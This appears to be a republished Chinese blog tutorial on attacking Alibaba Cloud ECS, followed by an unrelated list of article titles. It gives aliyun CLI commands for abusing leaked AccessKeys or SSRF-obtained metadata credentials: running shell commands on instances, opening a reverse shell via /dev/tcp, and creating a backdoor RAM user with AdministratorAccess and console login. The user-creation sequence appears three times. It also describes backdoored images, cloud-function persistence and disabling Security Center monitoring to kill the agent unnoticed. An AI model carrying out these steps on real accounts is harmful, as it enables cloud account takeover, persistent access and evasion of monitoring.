当前位置: 首页 > news >正文

云安全【阿里云ECS攻防】

关于VPC的概念还请看:记录一下弹性计算云服务的一些词汇概念 - 火线 Zone-安全攻防社区

一、初始化访问

1、元数据

1.1、SSRF导致读取元数据

img

如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证

img

如果配置RAM角色

在获取ram临时凭证的时候,有一个必要的条件

  • 当前ECS必须被授予了RAM

img

img

首先我们来看一下没有授予权限的机器

img

访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次

img

  • 注意

    • 如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的
  • 如果权限较小的话,也无法进行更多的横向操作

2、AK密钥泄露

云场景下的凭证泄露可以分成以下几种:

  • 控制台账号密码泄露,例如登录控制台的账号密码

  • 临时凭证泄露

  • 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露

  • 实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露

对于这类凭证信息的收集,一般可以通过以下几种方法进行收集:

  • Github 敏感信息搜索

  • 反编译目标 APK、小程序

  • 目标网站源代码泄露

2.1、执行任意命令

首先如果使用Aliyun的CLi作为演示

img

aliyun ecs DescribeInstances

我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中

img

img

我们可以看到这里有一个InstanceId

随后使用下面的命令,可以在ECS上执行命令

aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu"

img

2.2、反弹shell

在新服务器中开启NC

img

 aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'"

随后使用aliyun cli输入命令

image-20220407173635773

2.3、创建RAM账号登录控制台

获取到泄露的AK之后,可以通过写入RAM账户登录

首先在aliyun cli中配置泄露的AKID等信息

2.3.1、GetAccountAlias接口

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

image-20220407173618740

2.3.2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407173649000

2.3.3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

2.3.4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

2.3.5、登录控制台

在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

我们只需要使用以下命令获取到ID放在@符号后边即可

aliyun ram GetAccountAlias

img

image-20220407173729483

3、恶意的镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407173748527

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

三、命令执行

1、接管控制台

在上文中我们提到关于RAM用户权限比较小的时候,我们没办法登录控制台,但是如果权限足够的情况,能否登录控制台

我们知道了,如果想让ECS中的元数据有RAM这个目录,我们必须给ECS授权RAM角色

image-20220407173803269

例如我们现在并没有给ECS授权RAM角色,那么我们请求元数据地址看看是否还是404

img

尝试给ECS授权RAM角色,在创建角色的时候,有三个选项,这里尝试前两个

  • 阿里云账号

  • 阿里云服务

首先我们来看一下阿里云账号

img

随后创建完成需要给角色授权

img

此时我们选择所有阿里云资源权限

image-20220407173840081

随后来到ECS添加授权会发现无法添加

img

既然这样,在选择角色的时候如果选择阿里云服务

img

随后选择一样的权限

image-20220407173904778

img

img

然后回到ECS中,请求元数据看是否存在RAM目录

img

在不知道ram角色名的情况下,如果请求/ram/security-credentials/目录,则会返回RAM角色名

img

此时我们再请求Service即可获得临时凭证

image-20220407173929932

采坑

这里在尝试的时候一直会有一个问题,我们配置好上图获取到的AKID和SECRET之后配置到aliyun cli会发现需要一个SecurityToken参数

img

这里的解决办法就是在配置的时候加上一个--mode参数即可

aliyun configure --mode StsToken

image-20220407173943885

随后我们创建新的RAM角色登录控制台

1.1、创建RAM角色账户登录控制台

1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

img

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

img

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

img

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

img

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

6、注意

如果我们获取到的临时凭据在权限很小的时候,是无法创建RAM用户登录控制台的

四、权限维持

1 、云函数

通过云函数的方式创建后门

img

2、后门镜像

获取控制台权限后,可导入存在后门的镜像

image-20220407174110830

下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。

3、创建访问密钥

4.4.1、通过创建新的RAM角色登录控制台
1、GetAccountAlias

通过调用GetAccountAlias接口查看账号别名

官方文档地址:调用GetAccountAlias查看云账号别名_访问控制-阿里云帮助中心

aliyun ram GetAccountAlias

img

2、CreateUser

调用CreateUser接口创建一个RAM用户

aliyun ram CreateUser --UserName xxx

image-20220407174133229

3、CreateLoginProfile

调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录

aliyun ram CreateLoginProfile --UserName xxx --Password xxxx

image-20220407174146287

4、AttachPolicyToUser

调用AttachPolicyToUser接口为指定用户添加权限

aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx

image-20220407174201585

5、登录控制台

此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆?

aliyun ram GetAccountAlias

使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可

image-20220407174211567

随后输入我们设置的密码即可

img

随后我们成功登录了控制台

img

五、防御绕过

1、关闭安全监控服务

正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行)

img

如果我们强制Kill就会收到告警

img

可以在云安全中心把所有的监控都关了,然后就可以kill掉这个进程了

img

并且我们不会收到告警

六、信息收集

1、元数据

在阿里云ECS常见下可以直接请求:http://100.100.100.200/latest/meta-data/ ,来获取元数据

img

tIps

有时候我们请求http://100.100.100.200/latest/meta-data/会发现返回404,这是因为没有配置Ram用户

详情请看【命令执行那一栏】

2、子网信息

在进行横向移动时,如果知道目标存在哪些网段可以起到事半功倍的效果,在云场景下,可以直接通过控制台看到目标的网段情况。

七、横向移动

1、访问凭证

当拿到目标的临时访问凭证或者访问密钥后,可以通过命令行或者也可以通过控制台的方式进行内网横向移动。

http://www.lryc.cn/news/178176.html

相关文章:

  • TBSS数据分析
  • 【单调队列】 239. 滑动窗口最大值
  • Spring实例化源码解析之ComponentScanAnnotationParser(四)
  • MySQL - 外键(foreign key)约束的作用和使用
  • 前端开发之服务器的基本概念与初识Ajax
  • 数据结构排序算法---八大排序复杂度及代码实现
  • GMS之Launcher中去除默认Search或替换为Chrome Search
  • @DateTimeFormat 和 @JsonFormat 的详细研究
  • nodejs基于Vue.js健身体育器材用品商城购物网97794
  • C#WPF框架Microsoft.Toolkit.MvvM应用实例
  • 蓝桥杯每日一题2023.9.27
  • Redis与分布式-主从复制
  • QT pyside2 线程嵌套子线程 实现开始运行和停止运行
  • 江西广电会展集团总经理李悦一行莅临拓世科技集团调研参观,科技璀璨AIGC掀新潮
  • 【RabbitMQ实战】06 RabbitMQ配置
  • CTF 全讲解:[SWPUCTF 2021 新生赛]jicao
  • FL Studio21.1电脑试用体验版音乐制作软件
  • 【数据结构】单链表的基本操作(节点建立、插入删除)
  • DEM格式转换:转换NSDTF-DEM国标数据格式为通用格式,使用ArcGIS工具转换NSDTF-DEM国标.dem文件为通用.tif格式。
  • 施耐德电气:勾勒未来工业愿景,赋能中国市场
  • 安防监控产品经营商城小程序的作用是什么
  • php中判断指定字符串是否包含指定字符的封装函数
  • GICI-LIB源码阅读(三)因子图优化模型
  • 5、Docker安装mysql主从复制与redis集群
  • 【AI视野·今日NLP 自然语言处理论文速览 第四十三期】Thu, 28 Sep 2023
  • Unity 制作登录功能01-创建登录的UI并获取输入内容
  • 什么是用户画像?
  • DevExpress WinForms图表组件 - 直观的数据信息呈现方式!(二)
  • 基于AIOps实现智慧园区极简IT运维
  • chatgpt 只会死记硬背吗